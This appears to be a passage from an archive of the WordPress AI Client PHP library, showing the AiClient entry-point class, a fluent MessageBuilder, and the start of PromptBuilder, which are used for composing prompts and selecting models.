     * @var ModelInterface The model that processed the prompt.
     */
    private ModelInterface $model;
    /**
     * @var CapabilityEnum|null The capability that was used for generation.
     */
    private ?CapabilityEnum $capability;
    /**
     * @var GenerativeAiResult The result from the model.
     */
    private GenerativeAiResult $result;
    /**
     * Constructor.
     *
     * @since 0.4.0
     *
     * @param list<Message> $messages The messages that were sent to the model.
     * @param ModelInterface $model The model that processed the prompt.
     * @param CapabilityEnum|null $capability The capability that was used for generation.
     * @param GenerativeAiResult $result The result from the model.
     */
    public function __construct(array $messages, ModelInterface $model, ?CapabilityEnum $capability, GenerativeAiResult $result)
    {
        $this->messages = $messages;
        $this->model = $model;
        $this->capability = $capability;
        $this->result = $result;
    }
    /**
     * Gets the messages that were sent to the model.
     *
     * @since 0.4.0
     *
     * @return list<Message> The messages.
     */
    public function getMessages(): array
    {
        return $this->messages;
    }
    /**
     * Gets the model that processed the prompt.
     *
     * @since 0.4.0
     *
     * @return ModelInterface The model.
     */
    public function getModel(): ModelInterface
    {
        return $this->model;
    }
    /**
     * Gets the capability that was used for generation.
     *
     * @since 0.4.0
     *
     * @return CapabilityEnum|null The capability, or null if not specified.
     */
    public function getCapability(): ?CapabilityEnum
    {
        return $this->capability;
    }
    /**
     * Gets the result from the model.
     *
     * @since 0.4.0
     *
     * @return GenerativeAiResult The result.
     */
    public function getResult(): GenerativeAiResult
    {
        return $this->result;
    }
    /**
     * Performs a deep clone of the event.
     *
     * This method ensures that message and result objects are cloned to prevent
     * modifications to the cloned event from affecting the original.
     * The model object is not cloned as it is a service object.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        $clonedMessages = [];
        foreach ($this->messages as $message) {
            $clonedMessages[] = clone $message;
        }
        $this->messages = $clonedMessages;
        $this->result = clone $this->result;
    }
}
src/AiClient.php000064400000041720152205304550007541 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient;

use WordPress\AiClientDependencies\Psr\EventDispatcher\EventDispatcherInterface;
use WordPress\AiClientDependencies\Psr\SimpleCache\CacheInterface;
use WordPress\AiClient\Builders\PromptBuilder;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Contracts\ProviderAvailabilityInterface;
use WordPress\AiClient\Providers\Contracts\ProviderInterface;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\ProviderRegistry;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
 * Main AI Client class providing both fluent and traditional APIs for AI operations.
 *
 * This class serves as the primary entry point for AI operations, offering:
 * - Fluent API for easy-to-read chained method calls
 * - Traditional API for array-based configuration (WordPress style)
 * - Integration with provider registry for model discovery
 * - Support for three model specification approaches
 *
 * All model requirements analysis and capability matching is handled
 * automatically by the PromptBuilder, which provides intelligent model
 * discovery based on prompt content and configuration.
 *
 * ## Model Specification Approaches
 *
 * ### 1. Specific Model Instance
 * Use a specific ModelInterface instance when you know exactly which model to use:
 * ```php
 * $model = $registry->getProvider('openai')->getModel('gpt-4');
 * $result = AiClient::generateTextResult('What is PHP?', $model);
 * ```
 *
 * ### 2. ModelConfig for Auto-Discovery
 * Use ModelConfig to specify requirements and let the system discover the best model:
 * ```php
 * $config = new ModelConfig();
 * $config->setTemperature(0.7);
 * $config->setMaxTokens(150);
 *
 * $result = AiClient::generateTextResult('What is PHP?', $config);
 * ```
 *
 * ### 3. Automatic Discovery (Default)
 * Pass null or omit the parameter for intelligent model discovery based on prompt content:
 * ```php
 * // System analyzes prompt and selects appropriate model automatically
 * $result = AiClient::generateTextResult('What is PHP?');
 * $imageResult = AiClient::generateImageResult('A sunset over mountains');
 * ```
 *
 * ## Fluent API Examples
 * ```php
 * // Fluent API with automatic model discovery
 * $result = AiClient::prompt('Generate an image of a sunset')
 *     ->usingTemperature(0.7)
 *     ->generateImageResult();
 *
 * // Fluent API with specific model
 * $result = AiClient::prompt('What is PHP?')
 *     ->usingModel($specificModel)
 *     ->usingTemperature(0.5)
 *     ->generateTextResult();
 *
 * // Fluent API with model configuration
 * $result = AiClient::prompt('Explain quantum physics')
 *     ->usingModelConfig($config)
 *     ->generateTextResult();
 * ```
 *
 * @since 0.1.0
 *
 * @phpstan-import-type Prompt from PromptBuilder
 *
 * phpcs:ignore Generic.Files.LineLength.TooLong
 */
class AiClient
{
    /**
     * @var string The version of the AI Client.
     */
    public const VERSION = '1.3.1';
    /**
     * @var ProviderRegistry|null The default provider registry instance.
     */
    private static ?ProviderRegistry $defaultRegistry = null;
    /**
     * @var EventDispatcherInterface|null The event dispatcher for prompt lifecycle events.
     */
    private static ?EventDispatcherInterface $eventDispatcher = null;
    /**
     * @var CacheInterface|null The PSR-16 cache for storing and retrieving cached data.
     */
    private static ?CacheInterface $cache = null;
    /**
     * Gets the default provider registry instance.
     *
     * @since 0.1.0
     *
     * @return ProviderRegistry The default provider registry.
     */
    public static function defaultRegistry(): ProviderRegistry
    {
        if (self::$defaultRegistry === null) {
            self::$defaultRegistry = new ProviderRegistry();
        }
        return self::$defaultRegistry;
    }
    /**
     * Sets the event dispatcher for prompt lifecycle events.
     *
     * The event dispatcher will be used to dispatch BeforeGenerateResultEvent and
     * AfterGenerateResultEvent during prompt generation.
     *
     * @since 0.4.0
     *
     * @param EventDispatcherInterface|null $dispatcher The event dispatcher, or null to disable.
     * @return void
     */
    public static function setEventDispatcher(?EventDispatcherInterface $dispatcher): void
    {
        self::$eventDispatcher = $dispatcher;
    }
    /**
     * Gets the event dispatcher for prompt lifecycle events.
     *
     * @since 0.4.0
     *
     * @return EventDispatcherInterface|null The event dispatcher, or null if not set.
     */
    public static function getEventDispatcher(): ?EventDispatcherInterface
    {
        return self::$eventDispatcher;
    }
    /**
     * Sets the PSR-16 cache for storing and retrieving cached data.
     *
     * The cache can be used to store AI responses and other data to avoid
     * redundant API calls and improve performance.
     *
     * @since 0.4.0
     *
     * @param CacheInterface|null $cache The PSR-16 cache instance, or null to disable caching.
     * @return void
     */
    public static function setCache(?CacheInterface $cache): void
    {
        self::$cache = $cache;
    }
    /**
     * Gets the PSR-16 cache instance.
     *
     * @since 0.4.0
     *
     * @return CacheInterface|null The cache instance, or null if not set.
     */
    public static function getCache(): ?CacheInterface
    {
        return self::$cache;
    }
    /**
     * Checks if a provider is configured and available for use.
     *
     * Supports multiple input formats for developer convenience:
     * - ProviderAvailabilityInterface: Direct availability check
     * - string (provider ID): e.g., AiClient::isConfigured('openai')
     * - string (class name): e.g., AiClient::isConfigured(OpenAiProvider::class)
     *
     * When using string input, this method leverages the ProviderRegistry's centralized
     * dependency management, ensuring HttpTransporter and authentication are properly
     * injected into availability instances.
     *
     * @since 0.1.0
     * @since 0.2.0 Now supports being passed a provider ID or class name.
     *
     * @param ProviderAvailabilityInterface|string|class-string<ProviderInterface> $availabilityOrIdOrClassName
     *        The provider availability instance, provider ID, or provider class name.
     * @return bool True if the provider is configured and available, false otherwise.
     */
    public static function isConfigured($availabilityOrIdOrClassName): bool
    {
        // Handle direct ProviderAvailabilityInterface (backward compatibility)
        if ($availabilityOrIdOrClassName instanceof ProviderAvailabilityInterface) {
            return $availabilityOrIdOrClassName->isConfigured();
        }
        // Handle string input (provider ID or class name) via registry
        if (is_string($availabilityOrIdOrClassName)) {
            return self::defaultRegistry()->isProviderConfigured($availabilityOrIdOrClassName);
        }
        throw new \InvalidArgumentException('Parameter must be a ProviderAvailabilityInterface instance, provider ID string, or provider class name. ' . sprintf('Received: %s', is_object($availabilityOrIdOrClassName) ? get_class($availabilityOrIdOrClassName) : gettype($availabilityOrIdOrClassName)));
    }
    /**
     * Creates a new prompt builder for fluent API usage.
     *
     * Returns a PromptBuilder instance configured with the specified or default registry.
     * The traditional API methods in this class delegate to PromptBuilder
     * for all generation logic.
     *
     * @since 0.1.0
     *
     * @param Prompt $prompt Optional initial prompt content.
     * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
     * @return PromptBuilder The prompt builder instance.
     */
    public static function prompt($prompt = null, ?ProviderRegistry $registry = null): PromptBuilder
    {
        return new PromptBuilder($registry ?? self::defaultRegistry(), $prompt, self::$eventDispatcher);
    }
    /**
     * Generates content using a unified API that automatically detects model capabilities.
     *
     * When no model is provided, this method delegates to PromptBuilder for intelligent
     * model discovery based on prompt content and configuration. When a model is provided,
     * it infers the capability from the model's interfaces and delegates to the capability-based method.
     *
     * @since 0.1.0
     *
     * @param Prompt $prompt The prompt content.
     * @param ModelInterface|ModelConfig $modelOrConfig Specific model to use, or model configuration
     *                                                  for auto-discovery.
     * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
     * @return GenerativeAiResult The generation result.
     *
     * @throws \InvalidArgumentException If the provided model doesn't support any known generation type.
     * @throws \RuntimeException If no suitable model can be found for the prompt.
     */
    public static function generateResult($prompt, $modelOrConfig, ?ProviderRegistry $registry = null): GenerativeAiResult
    {
        self::validateModelOrConfigParameter($modelOrConfig);
        return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateResult();
    }
    /**
     * Generates text using the traditional API approach.
     *
     * @since 0.1.0
     *
     * @param Prompt $prompt The prompt content.
     * @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use,
     *                                                        or model configuration for auto-discovery,
     *                                                        or null for defaults.
     * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
     * @return GenerativeAiResult The generation result.
     *
     * @throws \InvalidArgumentException If the prompt format is invalid.
     * @throws \RuntimeException If no suitable model is found.
     */
    public static function generateTextResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult
    {
        self::validateModelOrConfigParameter($modelOrConfig);
        return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateTextResult();
    }
    /**
     * Generates an image using the traditional API approach.
     *
     * @since 0.1.0
     *
     * @param Prompt $prompt The prompt content.
     * @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use,
     *                                                        or model configuration for auto-discovery,
     *                                                        or null for defaults.
     * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
     * @return GenerativeAiResult The generation result.
     *
     * @throws \InvalidArgumentException If the prompt format is invalid.
     * @throws \RuntimeException If no suitable model is found.
     */
    public static function generateImageResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult
    {
        self::validateModelOrConfigParameter($modelOrConfig);
        return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateImageResult();
    }
    /**
     * Converts text to speech using the traditional API approach.
     *
     * @since 0.1.0
     *
     * @param Prompt $prompt The prompt content.
     * @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use,
     *                                                        or model configuration for auto-discovery,
     *                                                        or null for defaults.
     * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
     * @return GenerativeAiResult The generation result.
     *
     * @throws \InvalidArgumentException If the prompt format is invalid.
     * @throws \RuntimeException If no suitable model is found.
     */
    public static function convertTextToSpeechResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult
    {
        self::validateModelOrConfigParameter($modelOrConfig);
        return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->convertTextToSpeechResult();
    }
    /**
     * Generates speech using the traditional API approach.
     *
     * @since 0.1.0
     *
     * @param Prompt $prompt The prompt content.
     * @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use,
     *                                                        or model configuration for auto-discovery,
     *                                                        or null for defaults.
     * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
     * @return GenerativeAiResult The generation result.
     *
     * @throws \InvalidArgumentException If the prompt format is invalid.
     * @throws \RuntimeException If no suitable model is found.
     */
    public static function generateSpeechResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult
    {
        self::validateModelOrConfigParameter($modelOrConfig);
        return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateSpeechResult();
    }
    /**
     * Generates a video using the traditional API approach.
     *
     * @since 1.3.0
     *
     * @param Prompt $prompt The prompt content.
     * @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use,
     *                                                        or model configuration for auto-discovery,
     *                                                        or null for defaults.
     * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default.
     * @return GenerativeAiResult The generation result.
     *
     * @throws \InvalidArgumentException If the prompt format is invalid.
     * @throws \RuntimeException If no suitable model is found.
     */
    public static function generateVideoResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult
    {
        self::validateModelOrConfigParameter($modelOrConfig);
        return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateVideoResult();
    }
    /**
     * Creates a new message builder for fluent API usage.
     *
     * This method will be implemented once MessageBuilder is available.
     * MessageBuilder will provide a fluent interface for constructing complex
     * messages with multiple parts, attachments, and metadata.
     *
     * @since 0.1.0
     *
     * @param string|null $text Optional initial message text.
     * @return object MessageBuilder instance (type will be updated when MessageBuilder is available).
     *
     * @throws \RuntimeException When MessageBuilder is not yet available.
     */
    public static function message(?string $text = null)
    {
        throw new RuntimeException('MessageBuilder is not yet available. This method depends on builder infrastructure. ' . 'Use direct generation methods (generateTextResult, generateImageResult, etc.) for now.');
    }
    /**
     * Validates that parameter is ModelInterface, ModelConfig, or null.
     *
     * @param mixed $modelOrConfig The parameter to validate.
     * @return void
     * @throws \InvalidArgumentException If parameter is invalid type.
     */
    private static function validateModelOrConfigParameter($modelOrConfig): void
    {
        if ($modelOrConfig !== null && !$modelOrConfig instanceof ModelInterface && !$modelOrConfig instanceof ModelConfig) {
            throw new InvalidArgumentException('Parameter must be a ModelInterface instance (specific model), ' . 'ModelConfig instance (for auto-discovery), or null (default auto-discovery). ' . sprintf('Received: %s', is_object($modelOrConfig) ? get_class($modelOrConfig) : gettype($modelOrConfig)));
        }
    }
    /**
     * Configures PromptBuilder based on model/config parameter type.
     *
     * @param Prompt $prompt The prompt content.
     * @param ModelInterface|ModelConfig|null $modelOrConfig The model or config parameter.
     * @param ProviderRegistry|null $registry Optional custom registry to use.
     * @return PromptBuilder Configured prompt builder.
     */
    private static function getConfiguredPromptBuilder($prompt, $modelOrConfig, ?ProviderRegistry $registry = null): PromptBuilder
    {
        $builder = self::prompt($prompt, $registry);
        if ($modelOrConfig instanceof ModelInterface) {
            $builder->usingModel($modelOrConfig);
        } elseif ($modelOrConfig instanceof ModelConfig) {
            $builder->usingModelConfig($modelOrConfig);
        }
        // null case: use default model discovery
        return $builder;
    }
}
src/Builders/MessageBuilder.php000064400000014672152205304550012523 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Builders;

use InvalidArgumentException;
use WordPress\AiClient\Files\DTO\File;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Messages\DTO\MessagePart;
use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
use WordPress\AiClient\Tools\DTO\FunctionCall;
use WordPress\AiClient\Tools\DTO\FunctionResponse;
/**
 * Fluent builder for constructing AI messages.
 *
 * This class provides a fluent interface for building messages with various
 * content types including text, files, function calls, and function responses.
 *
 * @since 0.2.0
 *
 * @phpstan-import-type MessagePartArrayShape from MessagePart
 *
 * @phpstan-type Input string|MessagePart|MessagePartArrayShape|File|FunctionCall|FunctionResponse|null
 */
class MessageBuilder
{
    /**
     * @var MessageRoleEnum|null The role of the message sender.
     */
    protected ?MessageRoleEnum $role = null;
    /**
     * @var list<MessagePart> The parts that make up the message.
     */
    protected array $parts = [];
    /**
     * Constructor.
     *
     * @since 0.2.0
     *
     * @param Input $input Optional initial content.
     * @param MessageRoleEnum|null $role Optional role.
     */
    public function __construct($input = null, ?MessageRoleEnum $role = null)
    {
        $this->role = $role;
        if ($input === null) {
            return;
        }
        // Handle different input types
        if ($input instanceof MessagePart) {
            $this->parts[] = $input;
        } elseif (is_string($input)) {
            $this->withText($input);
        } elseif ($input instanceof File) {
            $this->withFile($input);
        } elseif ($input instanceof FunctionCall) {
            $this->withFunctionCall($input);
        } elseif ($input instanceof FunctionResponse) {
            $this->withFunctionResponse($input);
        } elseif (is_array($input) && MessagePart::isArrayShape($input)) {
            $this->parts[] = MessagePart::fromArray($input);
        } else {
            throw new InvalidArgumentException('Input must be a string, MessagePart, MessagePartArrayShape, File, FunctionCall, or FunctionResponse.');
        }
    }
    /**
     * Creates a deep clone of this builder.
     *
     * Clones all MessagePart objects in the parts array to ensure
     * the cloned builder is independent of the original.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        // Deep clone parts array (MessagePart has __clone)
        $clonedParts = [];
        foreach ($this->parts as $part) {
            $clonedParts[] = clone $part;
        }
        $this->parts = $clonedParts;
        // Note: $role is an enum value object and can be safely shared
    }
    /**
     * Sets the role of the message sender.
     *
     * @since 0.2.0
     *
     * @param MessageRoleEnum $role The role to set.
     * @return self
     */
    public function usingRole(MessageRoleEnum $role): self
    {
        $this->role = $role;
        return $this;
    }
    /**
     * Sets the role to user.
     *
     * @since 0.2.0
     *
     * @return self
     */
    public function usingUserRole(): self
    {
        return $this->usingRole(MessageRoleEnum::user());
    }
    /**
     * Sets the role to model.
     *
     * @since 0.2.0
     *
     * @return self
     */
    public function usingModelRole(): self
    {
        return $this->usingRole(MessageRoleEnum::model());
    }
    /**
     * Adds text content to the message.
     *
     * @since 0.2.0
     *
     * @param string $text The text to add.
     * @return self
     * @throws InvalidArgumentException If the text is empty.
     */
    public function withText(string $text): self
    {
        if (trim($text) === '') {
            throw new InvalidArgumentException('Text content cannot be empty.');
        }
        $this->parts[] = new MessagePart($text);
        return $this;
    }
    /**
     * Adds a file to the message.
     *
     * Accepts:
     * - File object
     * - URL string (remote file)
     * - Base64-encoded data string
     * - Data URI string (data:mime/type;base64,data)
     * - Local file path string
     *
     * @since 0.2.0
     *
     * @param string|File $file The file to add.
     * @param string|null $mimeType Optional MIME type (ignored if File object provided).
     * @return self
     * @throws InvalidArgumentException If the file is invalid.
     */
    public function withFile($file, ?string $mimeType = null): self
    {
        $file = $file instanceof File ? $file : new File($file, $mimeType);
        $this->parts[] = new MessagePart($file);
        return $this;
    }
    /**
     * Adds a function call to the message.
     *
     * @since 0.2.0
     *
     * @param FunctionCall $functionCall The function call to add.
     * @return self
     */
    public function withFunctionCall(FunctionCall $functionCall): self
    {
        $this->parts[] = new MessagePart($functionCall);
        return $this;
    }
    /**
     * Adds a function response to the message.
     *
     * @since 0.2.0
     *
     * @param FunctionResponse $functionResponse The function response to add.
     * @return self
     */
    public function withFunctionResponse(FunctionResponse $functionResponse): self
    {
        $this->parts[] = new MessagePart($functionResponse);
        return $this;
    }
    /**
     * Adds multiple message parts to the message.
     *
     * @since 0.2.0
     *
     * @param MessagePart ...$parts The message parts to add.
     * @return self
     */
    public function withMessageParts(MessagePart ...$parts): self
    {
        foreach ($parts as $part) {
            $this->parts[] = $part;
        }
        return $this;
    }
    /**
     * Builds and returns the Message object.
     *
     * @since 0.2.0
     *
     * @return Message The built message.
     * @throws InvalidArgumentException If the message validation fails.
     */
    public function get(): Message
    {
        if (empty($this->parts)) {
            throw new InvalidArgumentException('Cannot build an empty message. Add content using withText() or similar methods.');
        }
        if ($this->role === null) {
            throw new InvalidArgumentException('Cannot build a message with no role. Set a role using usingRole() or similar methods.');
        }
        // At this point, we've validated that $this->role is not null
        /** @var MessageRoleEnum $role */
        $role = $this->role;
        return new Message($role, $this->parts);
    }
}
src/Builders/PromptBuilder.php000064400000153503152205304550012415 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Builders;

use WordPress\AiClientDependencies\Psr\EventDispatcher\EventDispatcherInterface;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Events\AfterGenerateResultEvent;
use WordPress\AiClient\Events\BeforeGenerateResultEvent;
use WordPress\AiClient\Files\DTO\File;
use WordPress\AiClient\Files\Enums\FileTypeEnum;
use WordPress\AiClient\Files\Enums\MediaOrientationEnum;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Messages\DTO\MessagePart;
use WordPress\AiClient\Messages\DTO\UserMessage;
use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
use WordPress\AiClient\Messages\Enums\ModalityEnum;
use WordPress\AiClient\Providers\ApiBasedImplementation\Contracts\ApiBasedModelInterface;
use WordPress\AiClient\Providers\Http\DTO\RequestOptions;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
use WordPress\AiClient\Providers\Models\DTO\ModelRequirements;
use WordPress\AiClient\Providers\Models\Enums\CapabilityEnum;
use WordPress\AiClient\Providers\Models\ImageGeneration\Contracts\ImageGenerationModelInterface;
use WordPress\AiClient\Providers\Models\SpeechGeneration\Contracts\SpeechGenerationModelInterface;
use WordPress\AiClient\Providers\Models\TextGeneration\Contracts\TextGenerationModelInterface;
use WordPress\AiClient\Providers\Models\TextToSpeechConversion\Contracts\TextToSpeechConversionModelInterface;
use WordPress\AiClient\Providers\Models\VideoGeneration\Contracts\VideoGenerationModelInterface;
use WordPress\AiClient\Providers\ProviderRegistry;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
use WordPress\AiClient\Tools\DTO\FunctionDeclaration;
use WordPress\AiClient\Tools\DTO\FunctionResponse;
use WordPress\AiClient\Tools\DTO\WebSearch;
/**
 * Fluent builder for constructing AI prompts.
 *
 * This class provides a fluent interface for building prompts with various
 * content types and model configurations. It automatically infers model
 * requirements based on the features used in the prompt.
 *
 * @since 0.1.0
 *
 * @phpstan-import-type MessageArrayShape from Message
 * @phpstan-import-type MessagePartArrayShape from MessagePart
 *
 * @phpstan-type Prompt string|MessagePart|Message|MessageArrayShape|list<string|MessagePart|MessagePartArrayShape>|list<Message>|null
 */
class PromptBuilder
{
    /**
     * @var ProviderRegistry The provider registry for finding suitable models.
     */
    private ProviderRegistry $registry;
    /**
     * @var list<Message> The messages in the conversation.
     */
    protected array $messages = [];
    /**
     * @var ModelInterface|null The model to use for generation.
     */
    protected ?ModelInterface $model = null;
    /**
     * @var list<string> Ordered list of preference keys to check when selecting a model.
     */
    protected array $modelPreferenceKeys = [];
    /**
     * @var string|null The provider ID or class name.
     */
    protected ?string $providerIdOrClassName = null;
    /**
     * @var ModelConfig The model configuration.
     */
    protected ModelConfig $modelConfig;
    /**
     * @var RequestOptions|null The request options for HTTP transport.
     */
    protected ?RequestOptions $requestOptions = null;
    /**
     * @var EventDispatcherInterface|null The event dispatcher for prompt lifecycle events.
     */
    private ?EventDispatcherInterface $eventDispatcher = null;
    // phpcs:disable Generic.Files.LineLength.TooLong
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param ProviderRegistry $registry The provider registry for finding suitable models.
     * @param Prompt $prompt Optional initial prompt content.
     * @param EventDispatcherInterface|null $eventDispatcher Optional event dispatcher for lifecycle events.
     */
    // phpcs:enable Generic.Files.LineLength.TooLong
    public function __construct(ProviderRegistry $registry, $prompt = null, ?EventDispatcherInterface $eventDispatcher = null)
    {
        $this->registry = $registry;
        $this->modelConfig = new ModelConfig();
        $this->eventDispatcher = $eventDispatcher;
        if ($prompt === null) {
            return;
        }
        // Check if it's a list of Messages - set as messages
        if ($this->isMessagesList($prompt)) {
            $this->messages = $prompt;
            return;
        }
        // Parse it as a user message
        $userMessage = $this->parseMessage($prompt, MessageRoleEnum::user());
        $this->messages[] = $userMessage;
    }
    /**
     * Creates a deep clone of this builder.
     *
     * Clones all mutable state including messages, model configuration, and request options.
     * Service objects (registry, model, event dispatcher) are intentionally NOT cloned
     * as they are shared dependencies.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        // Deep clone messages array (Message has __clone)
        $clonedMessages = [];
        foreach ($this->messages as $message) {
            $clonedMessages[] = clone $message;
        }
        $this->messages = $clonedMessages;
        // Clone model config (ModelConfig has __clone)
        $this->modelConfig = clone $this->modelConfig;
        // Clone request options if set (contains only primitives)
        if ($this->requestOptions !== null) {
            $this->requestOptions = clone $this->requestOptions;
        }
        // Note: $registry, $model, and $eventDispatcher are service objects
        // and are intentionally NOT cloned - they should be shared references.
    }
    /**
     * Adds text to the current message.
     *
     * @since 0.1.0
     *
     * @param string $text The text to add.
     * @return self
     */
    public function withText(string $text): self
    {
        $part = new MessagePart($text);
        $this->appendPartToMessages($part);
        return $this;
    }
    /**
     * Adds a file to the current message.
     *
     * Accepts:
     * - File object
     * - URL string (remote file)
     * - Base64-encoded data string
     * - Data URI string (data:mime/type;base64,data)
     * - Local file path string
     *
     * @since 0.1.0
     *
     * @param string|File $file The file (File object or string representation).
     * @param string|null $mimeType The MIME type (optional, ignored if File object provided).
     * @return self
     * @throws InvalidArgumentException If the file is invalid or MIME type cannot be determined.
     */
    public function withFile($file, ?string $mimeType = null): self
    {
        $file = $file instanceof File ? $file : new File($file, $mimeType);
        $part = new MessagePart($file);
        $this->appendPartToMessages($part);
        return $this;
    }
    /**
     * Adds a function response to the current message.
     *
     * @since 0.1.0
     *
     * @param FunctionResponse $functionResponse The function response.
     * @return self
     */
    public function withFunctionResponse(FunctionResponse $functionResponse): self
    {
        $part = new MessagePart($functionResponse);
        $this->appendPartToMessages($part);
        return $this;
    }
    /**
     * Adds message parts to the current message.
     *
     * @since 0.1.0
     *
     * @param MessagePart ...$parts The message parts to add.
     * @return self
     */
    public function withMessageParts(MessagePart ...$parts): self
    {
        foreach ($parts as $part) {
            $this->appendPartToMessages($part);
        }
        return $this;
    }
    /**
     * Adds conversation history messages.
     *
     * Historical messages are prepended to the beginning of the message list,
     * before the current message being built.
     *
     * @since 0.1.0
     *
     * @param Message ...$messages The messages to add to history.
     * @return self
     */
    public function withHistory(Message ...$messages): self
    {
        // Prepend the history messages to the beginning of the messages array
        $this->messages = array_merge($messages, $this->messages);
        return $this;
    }
    /**
     * Sets the model to use for generation.
     *
     * The model's configuration will be merged with the builder's configuration,
     * with the builder's configuration taking precedence for any overlapping settings.
     *
     * @since 0.1.0
     *
     * @param ModelInterface $model The model to use.
     * @return self
     */
    public function usingModel(ModelInterface $model): self
    {
        $this->model = $model;
        // Merge model's config with builder's config, with builder's config taking precedence
        $modelConfigArray = $model->getConfig()->toArray();
        $builderConfigArray = $this->modelConfig->toArray();
        $mergedConfigArray = array_merge($modelConfigArray, $builderConfigArray);
        $this->modelConfig = ModelConfig::fromArray($mergedConfigArray);
        return $this;
    }
    /**
     * Sets preferred models to evaluate in order.
     *
     * @since 0.2.0
     *
     * @param string|ModelInterface|array{0:string,1:string} ...$preferredModels The preferred models as model IDs,
     * model instances, or [provider ID, model ID] tuples. For broader compatibility, it is recommended you specify
     * only model IDs or model instances, as that will allow for different providers that expose the same model to be
     * considered.
     * @return self
     *
     * @throws InvalidArgumentException When a preferred model has an invalid type or identifier.
     */
    public function usingModelPreference(...$preferredModels): self
    {
        if ($preferredModels === []) {
            throw new InvalidArgumentException('At least one model preference must be provided.');
        }
        $preferenceKeys = [];
        foreach ($preferredModels as $preferredModel) {
            if (is_array($preferredModel)) {
                // [model identifier, provider ID] tuple
                if (!array_is_list($preferredModel) || count($preferredModel) !== 2) {
                    throw new InvalidArgumentException('Model preference tuple must contain model identifier and provider ID.');
                }
                [$providerId, $modelId] = $preferredModel;
                $modelId = $this->normalizePreferenceIdentifier($modelId);
                $providerId = $this->normalizePreferenceIdentifier($providerId, 'Model preference provider identifiers cannot be empty.');
                $preferenceKey = $this->createProviderModelPreferenceKey($providerId, $modelId);
            } elseif ($preferredModel instanceof ModelInterface) {
                // Model instance
                $modelId = $preferredModel->metadata()->getId();
                $providerId = $preferredModel->providerMetadata()->getId();
                $preferenceKey = $this->createProviderModelPreferenceKey($providerId, $modelId);
            } elseif (is_string($preferredModel)) {
                // Model ID
                $modelId = $this->normalizePreferenceIdentifier($preferredModel);
                $preferenceKey = $this->createModelPreferenceKey($modelId);
            } else {
                // Invalid type
                throw new InvalidArgumentException('Model preferences must be model identifiers, instances of ModelInterface, ' . 'or provider/model tuples.');
            }
            $preferenceKeys[] = $preferenceKey;
        }
        $this->modelPreferenceKeys = $preferenceKeys;
        return $this;
    }
    /**
     * Sets the model configuration.
     *
     * Merges the provided configuration with the builder's configuration,
     * with builder configuration taking precedence.
     *
     * @since 0.1.0
     *
     * @param ModelConfig $config The model configuration to merge.
     * @return self
     */
    public function usingModelConfig(ModelConfig $config): self
    {
        // Convert both configs to arrays
        $builderConfigArray = $this->modelConfig->toArray();
        $providedConfigArray = $config->toArray();
        // Merge arrays with builder config taking precedence
        $mergedArray = array_merge($providedConfigArray, $builderConfigArray);
        // Create new config from merged array
        $this->modelConfig = ModelConfig::fromArray($mergedArray);
        return $this;
    }
    /**
     * Sets the provider to use for generation.
     *
     * @since 0.1.0
     *
     * @param string $providerIdOrClassName The provider ID or class name.
     * @return self
     */
    public function usingProvider(string $providerIdOrClassName): self
    {
        $this->providerIdOrClassName = $providerIdOrClassName;
        return $this;
    }
    /**
     * Sets the system instruction.
     *
     * System instructions are stored in the model configuration and guide
     * the AI model's behavior throughout the conversation.
     *
     * @since 0.1.0
     *
     * @param string $systemInstruction The system instruction text.
     * @return self
     */
    public function usingSystemInstruction(string $systemInstruction): self
    {
        $this->modelConfig->setSystemInstruction($systemInstruction);
        return $this;
    }
    /**
     * Sets the maximum number of tokens to generate.
     *
     * @since 0.1.0
     *
     * @param int $maxTokens The maximum number of tokens.
     * @return self
     */
    public function usingMaxTokens(int $maxTokens): self
    {
        $this->modelConfig->setMaxTokens($maxTokens);
        return $this;
    }
    /**
     * Sets the temperature for generation.
     *
     * @since 0.1.0
     *
     * @param float $temperature The temperature value.
